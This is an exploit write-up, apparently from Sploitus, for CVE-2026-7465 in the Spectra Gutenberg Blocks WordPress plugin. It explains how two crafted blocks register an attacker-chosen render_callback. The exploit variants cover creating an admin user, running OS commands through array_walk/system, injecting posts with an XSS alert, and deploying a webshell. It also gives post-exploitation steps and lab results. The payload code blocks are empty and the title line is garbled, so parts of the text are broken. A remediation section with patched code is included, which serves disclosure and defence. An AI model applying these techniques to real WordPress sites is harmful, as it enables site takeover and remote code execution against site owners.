Share
## https://sploitus.com/exploit?id=1BC4A46C-7C72-5768-B787-B8C181C5FED7
# CVE-2026-7465 - Spectra Gutenberg Blocks is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );  // block_type->render_callback, $this->attributes, $block_content, $this );
```

This invokes the attacker-specified function with attacker-controlled
arguments, achieving Arbitrary PHP Function Call.

================================================================================
## EXPLOITATION TECHNIQUE
================================================================================

### Two-Block Payload

The exploit requires exactly two blocks in the same post content:

**BLOCK 1 (Registration Block):**
- Block name: Any `uagb/`-prefixed name (e.g., `uagb/cve-2026-7465`)
- Block attributes: `{"render_callback": ""}`
- Purpose: When Spectra's `render_block` filter processes this block,
  it registers the fake block type with the attacker-specified
  `render_callback` in the `WP_Block_Type_Registry`.

**BLOCK 2 (Trigger Block):**
- Block name: SAME as Block 1 (e.g., `uagb/cve-2026-7465`)
- Block attributes: Function-specific arguments
- Inner content: Optional, used as second argument to the callback
- Purpose: Since the block type is now registered with a `render_callback`,
  WordPress's block rendering engine will call `call_user_func()` on it,
  executing the attacker-specified function with the second block's
  attributes and content as arguments.

### Sequential Block Rendering Flow

```
WordPress parses post content โ†’ encounters Block 1 (uagb/cve-2026-7465)
โ”‚
โ”œโ”€ Is block registered? โ†’ NO โ†’ Output static HTML (no render_callback called)
โ”‚
โ”œโ”€ apply_filters('render_block') โ†’ Spectra's render_block() at priority 5
โ”‚   โ”œโ”€ Block name starts with "uagb/"? โ†’ YES
โ”‚   โ”œโ”€ Is registered? โ†’ NO
โ”‚   โ””โ”€ $registry->register("uagb/cve-2026-7465", {"render_callback": "wp_insert_user"})
โ”‚       โ†’ WP_Block_Type created with malicious render_callback
โ”‚
WordPress continues โ†’ encounters Block 2 (uagb/cve-2026-7465)
โ”‚
โ”œโ”€ Is block registered? โ†’ YES (registered by Block 1)
โ”‚
โ”œโ”€ is_dynamic()? โ†’ YES (is_callable("wp_insert_user") = true)
โ”‚
โ”œโ”€ call_user_func("wp_insert_user", $attributes, $content, $block)
โ”‚   โ†’ wp_insert_user(array with admin user data) โ†’ ADMIN USER CREATED!
โ”‚
โ””โ”€ apply_filters('render_block') โ†’ Spectra's render_block() at priority 5
    โ”œโ”€ Block name starts with "uagb/"? โ†’ YES
    โ””โ”€ Is registered? โ†’ YES โ†’ Skip (already registered)
```

================================================================================
## EXPLOIT VARIANTS
================================================================================

### Variant 1: Privilege Escalation via wp_insert_user (PHP 8.x Safe)

**Impact:** Administrator user creation โ†’ Full site takeover โ†’ RCE

Block 1:
```

```

Block 2:
```

```

**Why it works on PHP 8.x:**
- `wp_insert_user` is a WordPress userland function (defined in PHP)
- PHP userland functions silently ignore extra arguments (deprecation notice only)
- The 3-argument call `call_user_func("wp_insert_user", $attrs, $content, $block)`
  effectively becomes `wp_insert_user($attrs)` (extra args ignored)
- `$attrs` contains the full user creation array with role=administrator

**Post-exploitation:**
1. Log in as the new administrator
2. Navigate to Appearance > Theme File Editor
3. Edit a PHP template file with ``
4. Access the modified file URL for direct OS command execution

### Variant 2: Direct OS Command Execution via array_walk (PHP 7.x)

**Impact:** Immediate OS command execution

Block 1:
```

```

Block 2:
```
system
```

**Mechanism:**
- `array_walk($attributes, $content, $block)` is called by WordPress
- `array_walk` accepts `(array, callable, mixed)` โ†’ type-compatible in PHP 8.x
- For each element, calls `$content($value, $key, $userdata)`
- `system("whoami", 0, $block_obj)` โ†’ command executes (PHP 7.x)
- On PHP 8.x: `system()` is an internal function, ArgumentCountError
  for the 3rd argument from `array_walk`

**Note:** This variant works reliably on PHP 7.x. On PHP 8.x, use
Variant 1 (wp_insert_user) instead.

### Variant 3: Arbitrary Post Creation via wp_insert_post

**Impact:** Content injection, phishing page creation, SEO spam

Block 1:
```

```

Block 2:
```
alert('XSS')","post_status":"publish","post_type":"post"} /-->
```

### Variant 4: Webshell Deployment Chain

**Impact:** Persistent PHP webshell on the server

This requires a multi-step chain:
1. Use `wp_insert_user` to create an admin user
2. Use the admin session to upload a malicious plugin via `wp-admin/plugin-install.php`
3. The plugin contains a PHP webshell

Alternatively, use `wp_insert_post` to create a post, then use admin
access to modify theme files via the theme editor.

================================================================================
## PROOF OF CONCEPT RESULTS (Lab Verified)
================================================================================

### Environment
- WordPress: Latest (6.x)
- PHP: 8.2.12 (XAMPP, Windows)
- Plugin: Spectra Gutenberg Blocks 2.19.25 (active)
- Database: MySQL (XAMPP)

### Test Results

**TEST 1: Arbitrary render_callback Registration**
- Registered fake block `uagb/poc-test-*` with `render_callback = "phpinfo"`
- Result: SUCCESS - Block type registered, `is_dynamic()` = true

**TEST 2: wp_insert_user Privilege Escalation (PHP 8.2)**
- Registered block with `render_callback = "wp_insert_user"`
- Called `call_user_func("wp_insert_user", $user_data, "", null)`
- Result: SUCCESS - Administrator user created (ID: 19)
- Verification: User role confirmed as `administrator` in database

**TEST 3: array_walk + passthru Direct RCE (PHP 8.2)**
- Registered block with `render_callback = "array_walk"`
- Called `array_walk(array("whoami"), "passthru", $mock_block)`
- Result: FAILED - PHP 8.2 ArgumentCountError (passthru expects max 2 args)
- Note: Would work on PHP 7.x where extra args produce warnings only

**TEST 4: wp_insert_post Content Injection (PHP 8.2)**
- Registered block with `render_callback = "wp_insert_post"`
- Called `call_user_func("wp_insert_post", $post_data, "", null)`
- Result: SUCCESS - New post created (ID: 82)

**TEST 5: Full HTTP Exploit Chain (Frontend Rendering)**
- Created post (ID: 83) with two-block payload via direct DB
- Accessed post via HTTP: `GET /WordpressLabReseacher/?p=83`
- Spectra's `render_block` filter registered the fake block type
- WordPress rendered second block โ†’ `wp_insert_user` called
- Result: SUCCESS - Admin user `rce_poc_admin_0752d0ac` (ID: 21) created
- Role verified: `a:1:{s:13:"administrator";b:1;}`

================================================================================
## REMEDIATION
================================================================================

### Recommended Fix

The `render_block()` method should validate `$block['attrs']` before
passing it to `WP_Block_Type_Registry::register()`. Specifically:

1. **Whitelist allowed properties**: Only pass known-safe block type
   properties (e.g., `attributes` schema, `supports`). Never pass
   `render_callback` from user-controlled data.

2. **Strip dangerous properties**: Remove `render_callback`,
   `script_handles`, `view_script_handles`, and any other properties
   that could be abused before registering the block type.

3. **Validate block names**: Only register block names that correspond
   to actual Spectra block types (check against a known list of valid
   block slugs).

### Example Fix

```php
public function render_block( $block_content, $block ) {
    if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
        $registry = WP_Block_Type_Registry::get_instance();
        if ( ! $registry->is_registered( $block['blockName'] ) ) {
            // FIXED: Remove dangerous properties from attrs before registering
            $safe_attrs = $block['attrs'];
            unset( $safe_attrs['render_callback'] );
            unset( $safe_attrs['script_handles'] );
            unset( $safe_attrs['view_script_handles'] );
            unset( $safe_attrs['editor_script_handles'] );
            unset( $safe_attrs['style_handles'] );
            unset( $safe_attrs['view_style_handles'] );
            unset( $safe_attrs['editor_style_handles'] );
            unset( $safe_attrs['variation_callback'] );
            $registry->register( $block['blockName'], $safe_attrs );
        }
    }
    // ... rest of method
}
```

================================================================================
## TIMELINE
================================================================================

- Vulnerability introduced: When the render_block() registration
  feature was added (to support WP Hide blocks in WP 6.9)
- Affected versions: All versions up to and including 2.19.25
- Patched version: > 2.19.25 (pending/available)

================================================================================
## REFERENCES
================================================================================

- https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/trunk/classes/class-uagb-init-blocks.php#L335
- https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/tags/2.19.25/classes/class-uagb-init-blocks.php#L335
- https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/trunk/classes/class-uagb-init-blocks.php#L330
- https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/tags/2.19.25/classes/class-uagb-init-blocks.php#L330

================================================================================
## FILES IN THIS DIRECTORY
================================================================================

- poc_direct_trigger.php   - Direct PHP PoC (loads WordPress, tests all variants)
- poc_http_exploit.php     - Full HTTP-based exploit simulation
- poc_cve-2026-7465.php   - Comprehensive PoC with REST API approach
- exploit_log.txt          - Exploit execution log
- DETAIL_CVE-2026-7465.md  - This documentation file

================================================================================